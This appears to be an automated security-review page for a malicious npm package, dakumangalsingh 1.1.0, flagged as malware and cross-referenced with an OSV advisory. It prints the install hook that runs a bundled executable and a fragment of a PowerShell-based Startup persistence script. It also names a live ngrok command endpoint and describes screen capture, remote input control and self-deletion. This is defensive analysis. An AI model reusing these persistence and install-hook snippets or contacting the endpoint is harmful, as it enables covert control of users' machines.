registry / dakumangalsingh / 1.1.0

dakumangalsingh@1.1.0

AI Security Review

scanned 3d ago · by lpm-firewall-ai

Installing the package launches its bundled executable. The executable loads a JAR that fingerprints the host, captures the screen, contacts a command server, and can automate local input. C2 commands can establish Startup persistence or remove the package.

Static reason

One or more suspicious static signals were detected.

Trigger

npm postinstall

Impact

Host surveillance, remote interactive control, persistence, and destructive self-cleanup.

Mechanism

bundled C2-enabled remote-desktop payload

Attack narrative

npm postinstall launches the bundled Windows application. Its configured JAR captures the desktop, builds a device identifier from Windows/MAC/user data, posts data to an ngrok command endpoint, and processes returned commands. The command handler supports mouse/keyboard/clipboard automation, Startup-folder persistence through replicate.bat, and forced process termination plus directory deletion through cleanup.bat.

Rationale

This is a concrete install-triggered C2 and remote-control chain, not merely a bundled desktop application. The lifecycle hook runs it without an explicit user command.

Evidence

package.jsonDakuMangalSingh/app/DakuMangalSingh.cfgDakuMangalSingh/app/virus.jarreplicate.batcleanup.batDakuMangalSingh/DakuMangalSingh.exe%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\DakuMangalSingh.lnk

Network endpoints1

monogamy-google-mustang.ngrok-free.dev/getcommand

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-13879

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in dakumangalsingh (npm)

Details

package.json declares a postinstall hook that executes a bundled Windows PE launcher (DakuMangalSingh\DakuMangalSingh.exe) at npm install time. The launcher is a jpackage wrapper that loads an embedded JAR named virus.jar containing classes Main, Executor, BatchExecutor, Fetch, RobotService (java.awt.Robot input synthesis), Screenshort (screen capture), and DeviceId (host fingerprinting) — the shape of a remote-command agent with screen-capture and input-synthesis capability. A bundled replicate.bat installs persistence by creating a shortcut to the dropped executable in %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup so the payload auto-runs at every user logon. A cleanup.bat kills the process and recursively deletes the package folder, providing anti-forensics on the installer's host. Installing the package on Windows results in immediate arbitrary code execution, a persistent logon-triggered agent, and evidence-removal tooling — with no legitimate library functionality.

References

OSV advisory PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json runs a bundled Windows executable in postinstall; its app config loads virus.jar main class Main.
virus.jar metadata shows screen capture, machine/MAC/user fingerprinting, multipart POST to an ngrok endpoint, and server-response command execution.
RobotService exposes remote mouse, keyboard, hotkey, clipboard, and scrolling control; Executor exposes replicate and terminate commands.
replicate.bat creates a shortcut and copies it into the current user's Startup folder.
cleanup.bat force-kills dakumangalsingh.exe then recursively deletes its package directory.

Evidence against

Behavioral surface

SourceNo risky source behavior triggered.

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 0 file(s), 0 B of source

Source & flagged code

8 flagged

package.jsonView file

Lines 1-12json

2 "name": "dakumangalsingh",

3 "version": "1.1.0",

4 "main": "index.js",

5 "scripts": {

6 "postinstall": ".\\DakuMangalSingh\\DakuMangalSingh.exe"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L6

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L6

7 },

8 "author": "",

9 "license": "ISC",

10 "description": ""

11}

DakuMangalSingh/runtime/bin/api-ms-win-crt-time-l1-1-0.dllView file

•path = DakuMangalSingh/runtime/bin/api-ms-win-crt-time-l1-1-0.dll kind = native_binary sizeBytes = 14288 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

DakuMangalSingh/runtime/bin/api-ms-win-crt-time-l1-1-0.dllView on unpkg

replicate.batView file

Lines 13-50text

13 echo ERROR: EXE not found!

14 echo Expected:

15 echo %EXE%

16 pause

17 exit /b 1

18)

20powershell.exe -NoProfile -ExecutionPolicy Bypass -Command ^

21"$ws = New-Object -ComObject WScript.Shell; ^

22$s = $ws.CreateShortcut('%SHORTCUT%'); ^

23$s.TargetPath = '%EXE%'; ^

24$s.WorkingDirectory = '%ROOT%DakuMangalSingh'; ^

25$s.Save(); ^

DakuMangalSingh/app/virus.jarView file

•path = DakuMangalSingh/app/virus.jar kind = high_entropy_blob sizeBytes = 13446 magicHex = [redacted]

High

Ships High Entropy Blob

Package ships high-entropy non-source blobs.

DakuMangalSingh/app/virus.jarView on unpkg

•path = DakuMangalSingh/app/virus.jar kind = compressed_blob sizeBytes = 13446 magicHex = [redacted]

Medium

Ships Compressed Blob

Package ships compressed or archive-like blobs.

DakuMangalSingh/app/virus.jarView on unpkg

•path = DakuMangalSingh/app/virus.jar kind = nested_archive_needs_inspection sizeBytes = 13446 magicHex = [redacted]

Low

Nested Archive Needs Inspection

Package ships a nested archive or MCP bundle that was inventoried but not recursively analyzed.

DakuMangalSingh/app/virus.jarView on unpkg

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.postinstall = .\DakuMangalSingh\DakuMangalSingh.exe

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = .\DakuMangalSingh\DakuMangalSingh.exe

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

DakuMangalSingh/runtime/bin/api-ms-win-crt-time-l1-1-0.dllView file

•path = DakuMangalSingh/runtime/bin/api-ms-win-crt-time-l1-1-0.dll kind = native_binary sizeBytes = 14288 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

DakuMangalSingh/runtime/bin/api-ms-win-crt-time-l1-1-0.dll

Findings

3 High5 Medium2 Low

HighInstall Time Lifecycle Scriptspackage.json

HighShips High Entropy BlobDakuMangalSingh/app/virus.jar

HighAi Review Evidencereplicate.bat

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumShips Native BinaryDakuMangalSingh/runtime/bin/api-ms-win-crt-time-l1-1-0.dll

MediumShips Build Helperreplicate.bat

MediumShips Compressed BlobDakuMangalSingh/app/virus.jar

MediumStructural Risk Force Deep Review

LowScripts Present

LowNested Archive Needs InspectionDakuMangalSingh/app/virus.jar